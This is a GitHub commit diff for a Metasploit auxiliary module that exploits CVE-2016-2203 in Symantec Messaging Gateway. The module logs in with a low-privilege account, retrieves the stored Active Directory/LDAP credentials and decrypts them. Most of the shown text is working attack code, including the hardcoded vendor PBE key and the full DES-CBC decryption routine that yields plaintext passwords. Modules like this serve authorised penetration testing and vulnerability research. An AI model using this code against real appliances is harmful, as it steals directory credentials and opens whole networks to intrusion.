Skip to content

Commit c322a4b

Browse files
committed
added modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb
1 parent dc3a185 commit c322a4b

File tree

1 file changed

+65
-42
lines changed

1 file changed

+65
-42
lines changed

modules/auxiliary/scanner/http/symantec_brightmail_ldapcreds.rb

Lines changed: 65 additions & 42 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,7 @@
99
require "openssl"
1010

1111

12-
class Metasploit3 < Msf::Auxiliary
12+
class MetasploitModule < Msf::Auxiliary
1313

1414
include Msf::Auxiliary::Scanner
1515
include Msf::Auxiliary::Report
@@ -19,18 +19,19 @@ def initialize(info = {})
1919
super(update_info(info,
2020
'Name' => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
2121
'Description' => %q{
22-
This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account.
22+
This module will grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key. Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected
23+
2324
},
2425
'References' =>
2526
[
26-
'https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00',
27-
'CVE-2016-2203'
27+
['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
28+
['CVE','2016-2203'],
29+
['BID','86137']
2830
],
2931

3032
'Author' =>
3133
[
3234
'Fakhir Karim Reda <karim.fakhir[at]gmail.com>',
33-
'zirsalem'
3435
],
3536
'DefaultOptions' =>
3637
{
@@ -51,6 +52,19 @@ def initialize(info = {})
5152
deregister_options('RHOST')
5253
end
5354

55+
56+
def print_status(msg='')
57+
super("#{peer} - #{msg}")
58+
end
59+
60+
def print_good(msg='')
61+
super("#{peer} - #{msg}")
62+
end
63+
64+
def print_error(msg='')
65+
super("#{peer} - #{msg}")
66+
end
67+
5468
def report_cred(opts)
5569
service_data = {
5670
address: opts[:ip],
@@ -126,48 +140,57 @@ def get_login_data
126140
return sid, last_login
127141
end
128142

143+
# Returns the status of the listening port.
144+
#
145+
# @return [Boolean] TrueClass if port open, otherwise FalseClass.
146+
129147
def port_open?
130148
begin
131149
res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
132150
return true if res
133151
rescue ::Rex::ConnectionRefused
134-
vprint_status("#{peer} - Connection refused")
152+
print_status("#{peer} - Connection refused")
135153
return false
136154
rescue ::Rex::ConnectionError
137-
vprint_error("#{peer} - Connection failed")
155+
print_error("#{peer} - Connection failed")
138156
return false
139157
rescue ::OpenSSL::SSL::SSLError
140-
vprint_error("#{peer} - SSL/TLS connection error")
158+
print_error("#{peer} - SSL/TLS connection error")
141159
return false
142160
end
143161
end
144162

163+
# Returns the derived key from the password, the salt and the iteration count number.
164+
#
165+
# @return Array of byte containing the derived key.
145166
def get_derived_key(password, salt, count)
146167
key = password + salt
147168
for i in 0..count-1
148169
key = Digest::MD5.digest(key)
149170
end
150171
kl = key.length
151172
return key[0,8], key[8,kl]
152-
end
173+
end
153174

154175

155-
# Algorithm obtained by reversing the firmware
156-
def decrypt(enc_str)
157-
pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
158-
salt = (Base64.strict_decode64(enc_str[0,12]))
159-
remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
160-
(dk, iv) = get_derived_key(pbe_key, salt, 1000)
161-
alg = "des-cbc"
162-
decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
163-
decode_cipher.decrypt
164-
decode_cipher.padding = 0
165-
decode_cipher.key = dk
166-
decode_cipher.iv = iv
167-
plain = decode_cipher.update(remsg)
168-
plain << decode_cipher.final
169-
return plain.gsub(/[\x01-\x08]/,'')
170-
end
176+
# @Return the deciphered password
177+
# Algorithm obtained by reversing the firmware
178+
#
179+
def decrypt(enc_str)
180+
pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
181+
salt = (Base64.strict_decode64(enc_str[0,12]))
182+
remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
183+
(dk, iv) = get_derived_key(pbe_key, salt, 1000)
184+
alg = "des-cbc"
185+
decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
186+
decode_cipher.decrypt
187+
decode_cipher.padding = 0
188+
decode_cipher.key = dk
189+
decode_cipher.iv = iv
190+
plain = decode_cipher.update(remsg)
191+
plain << decode_cipher.final
192+
return plain.gsub(/[\x01-\x08]/,'')
193+
end
171194

172195
def grab_auths(sid,last_login)
173196
token = '' #from hidden input
@@ -239,22 +262,22 @@ def grab_auths(sid,last_login)
239262
end
240263
end
241264

242-
def run_host(ip)
243-
return unless port_open?
244-
sid, last_login = get_login_data
245-
if sid.empty? or last_login.empty?
246-
print_error("#{peer} - Missing required login data. Cannot continue.")
247-
return
248-
end
249-
username = datastore['USERNAME']
250-
password = datastore['PASSWORD']
251-
sid = auth(username, password, sid, last_login)
252-
if not sid
253-
print_error("#{peer} - Unable to login. Cannot continue.")
254-
return
255-
else
256-
print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
257-
end
258-
grab_auths(sid,last_login)
265+
def run_host(ip)
266+
return unless port_open?
267+
sid, last_login = get_login_data
268+
if sid.empty? or last_login.empty?
269+
print_error("#{peer} - Missing required login data. Cannot continue.")
270+
return
271+
end
272+
username = datastore['USERNAME']
273+
password = datastore['PASSWORD']
274+
sid = auth(username, password, sid, last_login)
275+
if not sid
276+
print_error("#{peer} - Unable to login. Cannot continue.")
277+
return
278+
else
279+
print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
280+
end
281+
grab_auths(sid,last_login)
259282
end
260283
end

0 commit comments

Comments
 (0)